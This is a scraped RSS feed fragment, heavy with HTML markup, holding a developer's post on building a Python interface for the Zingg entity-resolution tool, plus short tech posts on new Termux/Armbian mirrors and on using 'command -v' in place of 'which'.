https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 1456w" sizes="100vw"><img src="https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080" width="1080" height="608" data-attrs="{&quot;src&quot;:&quot;https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:608,&quot;width&quot;:1080,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;person holding sticky note&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="person holding sticky note" title="person holding sticky note" srcset="https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Photo by <a href="https://unsplash.com/@hiteshchoudhary">Hitesh Choudhary</a> on <a href="https://unsplash.com">Unsplash</a></figcaption></figure></div><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.learningfromdata.zingg.ai/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Sonal&#8217;s Newsletter! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p>After Zingg became open source, we found most of our early users came from a non-Java, non-Spark background. Though it was extremely encouraging to see a broader user base for Zingg than originally anticipated, it had been a poor assumption at our end that everyone had the JVM running on their laptops to run Zingg. Hats off to the early adopters who still went ahead and resolved their entities with Zingg, we had definitely not made working with Zingg easy for them :-( </p><p>This realization led to our <a href="https://hub.docker.com/repository/docker/zingg/zingg">urgent Docker release</a>, and it felt that we had crossed a big hurdle! Life and work moved on, and as interactions with users increased, one common pattern emerged - the use of Python. A lot of our users are writing Python data pipelines to get data from multiple sources. They are wrangling data in Python before putting it through Zingg. They are consuming the Zingg output results in Python based machine learning pipelines for risk modeling, customer segmentation, and product recommendations. They are on <a href="https://www.databricks.com/blog/2022/08/04/new-solution-accelerator-customer-entity-resolution.html">Databricks notebooks</a>. Wouldn&#8217;t it be cool if such users could use Zingg through Python itself?  </p><p>With this in mind, we set about defining a Python interface for Zingg. Our biggest challenge with Python was that the majority of our source code and all our core algorithms are in Java/Scala. Due to the <a href="https://docs.zingg.ai/zingg-0.3.4/zmodels">computationally intensive nature of the identity resolution problem</a>, we keep a very tight and performance-focused implementation. Rewriting everything would not make sense, though we did think about it for a fleeting moment. After some tension, we realized that Apache Spark was structured similarly, and realized we could borrow the best practices from there. This turned out to be a really good decision. In fact, we referred to the Apache Spark codebase a lot to build a Py4J-based<a href="https://zingg.readthedocs.io/en/latest/zingg.html#contents"> interface to Zingg</a>. We would invoke our Java code from Python, all the Java interfaces would be replicated on the Python side. Things started to look up again. </p><p>There was one more hurdle though. Something we realized much later as we got closer to shipping - Python <a href="https://pypi.org/project/zingg/">packaging</a>. Unlike a usual Python application, our interface is dependent on the compiled Java code and hence we had to figure out a way to include this as part of our package. Luckily, Spark is doing something similar so the packaging there became our big inspiration. Again! </p><p>With these major hurdles crossed, we <a href="https://www.zingg.ai/post/my-internship-experience-with-zingg">got to the grind</a> and were finally ready to put our work out. Honestly, this release has been a real big one - not only did we build the whole Python interface, but we have also added lots of cool things to core Zingg. <a href="https://docs.zingg.ai/zingg-0.3.4/improving-accuracy/stopwordsremoval">Stopwords</a> - stuff to ignore while matching attributes for example. Or special <a href="https://docs.zingg.ai/zingg-0.3.4/stepbystep/configuration/field-definitions">match types</a> for emails or pin codes. More diagnostic messages while running Zingg - getting better there slowly and steadily! </p><p>In the end, once the<a href="https://github.com/zinggAI/zingg/releases"> release was done</a>, it felt like a triumph! A mini celebration, and having a different version of fun - rest, recharge and laze around a bit. I haven&#8217;t heard any user complaints so far so it is probably working as planned ;-)</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!P7q5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!P7q5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png 424w, https://substackcdn.com/image/fetch/$s_!P7q5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png 848w, https://substackcdn.com/image/fetch/$s_!P7q5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png 1272w, https://substackcdn.com/image/fetch/$s_!P7q5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!P7q5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png" width="552" height="72" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:72,&quot;width&quot;:552,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!P7q5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png 424w, https://substackcdn.com/image/fetch/$s_!P7q5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png 848w, https://substackcdn.com/image/fetch/$s_!P7q5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png 1272w, https://substackcdn.com/image/fetch/$s_!P7q5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6a777a8b-eba5-4cb7-a559-061d50ba24ad_552x72.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NRtC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NRtC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png 424w, https://substackcdn.com/image/fetch/$s_!NRtC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png 848w, https://substackcdn.com/image/fetch/$s_!NRtC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png 1272w, https://substackcdn.com/image/fetch/$s_!NRtC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NRtC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png" width="501" height="41" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/36ec558f-9074-4581-ac13-c0af821b8900_501x41.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:41,&quot;width&quot;:501,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:7763,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NRtC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png 424w, https://substackcdn.com/image/fetch/$s_!NRtC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png 848w, https://substackcdn.com/image/fetch/$s_!NRtC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png 1272w, https://substackcdn.com/image/fetch/$s_!NRtC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F36ec558f-9074-4581-ac13-c0af821b8900_501x41.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!URFH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!URFH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png 424w, https://substackcdn.com/image/fetch/$s_!URFH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png 848w, https://substackcdn.com/image/fetch/$s_!URFH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png 1272w, https://substackcdn.com/image/fetch/$s_!URFH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!URFH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png" width="209" height="33" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/d012364d-9306-4cdb-93e4-51311812d2b3_209x33.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:33,&quot;width&quot;:209,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3300,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!URFH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png 424w, https://substackcdn.com/image/fetch/$s_!URFH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png 848w, https://substackcdn.com/image/fetch/$s_!URFH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png 1272w, https://substackcdn.com/image/fetch/$s_!URFH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd012364d-9306-4cdb-93e4-51311812d2b3_209x33.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Among other things, I am very excited about the ability to finally have a good integration point with dbt. Besides Python, SQL through dbt is something we frequently see (of course! :-)). With <a href="https://docs.getdbt.com/docs/building-a-dbt-project/building-models/python-models#:~:text=dbt%20Python%20models%20have%20access,other%20users%2C%20and%20so%20on.">dbt supporting Python</a>, we have a cool new way for Zingg to work with dbt. I can&#8217;t wait to try this out&#8230;.or maybe someone is working on this already! Are you <a href="https://www.youtube.com/watch?v=Vy7RaQUmOzE">The One</a>? </p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.learningfromdata.zingg.ai/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Sonal&#8217;s Newsletter! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&ixlib=rb-1.2.1&q=80&w=1080" length="0" type="image//photo-1526379095098-d400fd0bf935"/>
        </item>
        <item>
            <title><![CDATA[The triangle of fulfilment]]></title>
            <link>https://nadh.in/blog/triangle-of-fulfilment/</link>
            <guid isPermaLink="false">https://nadh.in/blog/triangle-of-fulfilment/</guid>
            <pubDate>Mon, 22 Aug 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[“It’s 2022. Why hasn’t someone done it already!?”, I find exclaiming  frequently when stumbling upon things and ideas that are relatively simple and so obvious that they should exist, but for some reason, don’t. It is frequently about software, occasionally about physical things, and once in a while, about an organisation that focuses on a certain cause that really ought to exist. It is of course not about hard problems like cold fusion or disease and poverty eradication, but things like … a mailing list manager.]]></description>
            <content:encoded><![CDATA[<p><em>&ldquo;It&rsquo;s 2022. Why hasn&rsquo;t someone done it already!?&rdquo;</em>, I find exclaiming  frequently when stumbling upon things and ideas that are relatively simple and so obvious that they should exist, but for some reason, don&rsquo;t. It is frequently about software, occasionally about physical things, and once in a while, about an organisation that focuses on a certain cause that really ought to exist. It is of course not about hard problems like cold fusion or disease and poverty eradication, but things like &hellip; a mailing list manager.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[New Termux and Armbian mirrors live now!]]></title>
            <link>https://shrirangkahale.com/posts/termux-armbian/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/termux-armbian/</guid>
            <pubDate>Tue, 16 Aug 2022 07:19:31 GMT</pubDate>
            <description><![CDATA[Termux mirror.albony.xyz/termux Its added to the termux mirrorlist so you should get it automatically soon, if you want to add it manually:
termux-change-repo (part of termux-tools package) can be used to modify sources. Another way of doing it is by using apt edit-sources and adding the following lines:
# main deb https://mirror.albony.xyz/termux/termux-main stable main # root deb https://mirror.albony.xyz/termux/termux-root root stable # X11 deb https://mirror.albony.xyz/termux/termux-x11 x11 main Armbian mirror.albony.xyz/armbian This is also added to the armbian mirrorlist but you can also add it manually by editing the sources.]]></description>
            <content:encoded><![CDATA[Termux mirror.albony.xyz/termux Its added to the termux mirrorlist so you should get it automatically soon, if you want to add it manually:
termux-change-repo (part of termux-tools package) can be used to modify sources. Another way of doing it is by using apt edit-sources and adding the following lines:
# main deb https://mirror.albony.xyz/termux/termux-main stable main # root deb https://mirror.albony.xyz/termux/termux-root root stable # X11 deb https://mirror.albony.xyz/termux/termux-x11 x11 main Armbian mirror.albony.xyz/armbian This is also added to the armbian mirrorlist but you can also add it manually by editing the sources.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Don't use which]]></title>
            <link>https://mrkaran.dev/posts/stop-which/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/stop-which/</guid>
            <pubDate>Sun, 07 Aug 2022 18:30:00 GMT</pubDate>
            <description><![CDATA[which is a non-standard/non-POSIX compliant program. I faced many issues getting which to work in a chroot environment (Nomad).
So basically, which is a simple shell script program to find out the dependency by searching the $PATH (which is what makes it less deterministic). It’s also somehow symlinked 3 levels deep in Debian:
$ ls -laht /usr/bin/which
lrwxrwxrwx 1 root root 23 Apr 26 22:25 /usr/bin/which -> /etc/alternatives/which
$ ls -laht /etc/alternatives/which
lrwxrwxrwx 1 root root 26 Apr 26 22:25 /etc/alternatives/which -> /usr/bin/which.debianutils
Now, notice this:
$ which ls
ls: aliased to ls --color=tty

$ /usr/bin/which.debianutils ls
/usr/bin/ls
Both are the same programs. However, why is the output different? This is because which is apparently a shell built-in zsh, that is why:
# zsh
which which
which: shell built-in command

# bash
which which
/usr/bin/which
The inconsistency happens because zsh treats which as a shell built-in when it’s apparently not one.
This article has some more details on why which is bad and how the Debian team is slowly deprecating it from being a part of debianutils anymore.
When I invoked which from inside a Nomad chroot, it complained that I didn’t have /bin/sh (because I was using a custom chroot mount). I started looking hard for alternatives because this silly utility already wasted too much of my time.
What to use#
Use command -v. It’s a shell built-in, so it avoids a dependency on an external binary (unlike which).
Usage example:#
if ! command -v aws > /dev/null; then
        echo "Can't find 'aws' executable. Aborted."
        exit 1
fi
References#
I found the following posts while digging which and its alternatives.
which-not-posix
why-not-use-which-what-to-use-then
Fin]]></description>
            <content:encoded><![CDATA[<p><code>which</code> is a non-standard/non-POSIX compliant program. I faced many issues getting <code>which</code> to work in a chroot environment (Nomad).</p>
<p>So basically, <code>which</code> is a simple shell script program to find out the dependency by searching the <code>$PATH</code> (which is what makes it less deterministic). It’s also somehow symlinked 3 levels deep in Debian:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ls</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">laht</span><span style="color: light-dark(#032F62, #96D0FF);"> /usr/bin/which</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">lrwxrwxrwx</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span style="color: light-dark(#032F62, #96D0FF);"> root</span><span style="color: light-dark(#032F62, #96D0FF);"> root</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 23</span><span style="color: light-dark(#032F62, #96D0FF);"> Apr</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 26</span><span style="color: light-dark(#032F62, #96D0FF);"> 22:25</span><span style="color: light-dark(#032F62, #96D0FF);"> /usr/bin/which</span><span> -</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/alternatives/which</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ls</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">laht</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/alternatives/which</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">lrwxrwxrwx</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span style="color: light-dark(#032F62, #96D0FF);"> root</span><span style="color: light-dark(#032F62, #96D0FF);"> root</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 26</span><span style="color: light-dark(#032F62, #96D0FF);"> Apr</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 26</span><span style="color: light-dark(#032F62, #96D0FF);"> 22:25</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/alternatives/which</span><span> -</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> /usr/bin/which.debianutils</span></span></code></pre>
<p>Now, notice this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> which</span><span style="color: light-dark(#032F62, #96D0FF);"> ls</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ls:</span><span style="color: light-dark(#032F62, #96D0FF);"> aliased</span><span style="color: light-dark(#032F62, #96D0FF);"> to</span><span style="color: light-dark(#032F62, #96D0FF);"> ls</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-color=tty</span></span>
<span class="giallo-l"></span>
